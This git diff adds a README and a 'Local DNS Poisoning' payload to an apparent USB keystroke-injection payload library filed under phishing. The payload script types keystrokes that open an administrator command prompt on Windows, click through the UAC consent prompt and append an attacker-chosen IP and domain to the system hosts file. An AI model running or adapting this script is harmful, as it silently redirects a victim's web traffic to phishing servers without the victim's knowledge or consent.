diff --git a/payloads/library/phishing/Local_DNS_Poisoning/README.md b/payloads/library/phishing/Local_DNS_Poisoning/README.md new file mode 100644 index 00000000..56623a83 --- /dev/null +++ b/payloads/library/phishing/Local_DNS_Poisoning/README.md @@ -0,0 +1,9 @@ +# Hosts DNS Spoofer + +## Description + +Redirects a domain to a set IP adres by changing the hosts file. The UAC bypass is done so it works on windows 10. + +## Configuration + +Change the domain you want to redirect and the IP you want to direct it to. diff --git a/payloads/library/phishing/Local_DNS_Poisoning/payload.txt b/payloads/library/phishing/Local_DNS_Poisoning/payload.txt new file mode 100644 index 00000000..9785e4b4 --- /dev/null +++ b/payloads/library/phishing/Local_DNS_Poisoning/payload.txt @@ -0,0 +1,29 @@ +#Title: Local DNS Poisoning +#Description: Attacks the host file to redirect a website of your chosing for a given domain +#Author: DavidSpek +#Props: ashbreeze96 and overwraith +#Target: Windows (Including 10 latest build) + + +LED R 200 + +ATTACKMODE HID +LED STAGE1 +Q GUI x +Q DELAY 50 +Q A +Q DELAY 500 +Q LEFTARROW +Q DELAY 50 +Q ENTER +Q DELAY 100 +Q STRING set file="%windir%\System32\drivers\etc\hosts" +Q DELAY 50 +Q ENTER +Q STRING 'echo 10.1.1.0 test.com>>%file%' +Q DELAY 50 +Q ENTER +Q STRING exit +Q ENTER + +LED FINISH \ No newline at end of file